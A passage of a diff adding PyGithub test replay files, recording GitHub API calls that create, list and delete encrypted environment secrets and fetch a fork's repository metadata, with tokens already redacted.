max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3313fa24bc2d9935629d4340d3d7792786af1326b3ca816f428e28c75e8051ff"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4837'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '163'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E061:4862:10DBE13:2306411:655F7C8F')] +{"key_id":"568250167242549743","key":"4/qLofvCiuC34s/NxnkBq9uy1rD9PVl1bx3b84cuIUg="} + +https +PUT +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets/SECRET_NAME_TWO +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"key_id": "568250167242549743", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} +201 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4836'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '164'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E062:2B48:10F8AC7:23311AD:655F7C8F')] +{} + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test +{'If-None-Match': 'W/"170ee1c3a1c93b2c97dd0f0dc821fe4ce5f2080039979210ce9b9e1a36a49273"', 'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +304 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:44 GMT'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"170ee1c3a1c93b2c97dd0f0dc821fe4ce5f2080039979210ce9b9e1a36a49273"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4836'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '164'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E063:4FFC:11FB303:2534933:655F7C90')] + + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1f2d63c1771ff18e9034443e0407e4d8703b96826ae971debbbd672e8f594eb1"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4835'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '165'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E064:25AA:113B3F0:23C34A2:655F7C90')] +{"total_count":2,"secrets":[{"name":"SECRET_NAME_ONE","created_at":"2023-11-23T16:23:44Z","updated_at":"2023-11-23T16:23:44Z"},{"name":"SECRET_NAME_TWO","created_at":"2023-11-23T16:23:44Z","updated_at":"2023-11-23T16:23:44Z"}]} + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets/SECRET_NAME_ONE +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:44 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4834'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '166'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E065:1193:1031537:21AB7A2:655F7C90')] + + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/secrets/SECRET_NAME_TWO +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:45 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4833'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '167'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E066:2B48:10F8C68:2331512:655F7C90')] + + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:45 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4832'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '168'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E067:5687:1086E6F:225B5CF:655F7C91')] diff --git a/tests/ReplayData/Environment.testEnvironmentVariable.txt b/tests/ReplayData/Environment.testEnvironmentVariable.txt new file mode 100644 index 0000000000..43394261fb --- /dev/null +++ b/tests/ReplayData/Environment.testEnvironmentVariable.txt @@ -0,0 +1,64 @@ +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7b3ffcbfb6768b80de579a95da30f80417937996add76ee2c43a6825f544d64a"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE2A:2E9A:102D813:21A16CA:655F740B')] +{"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-22T14:07:34Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13242,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 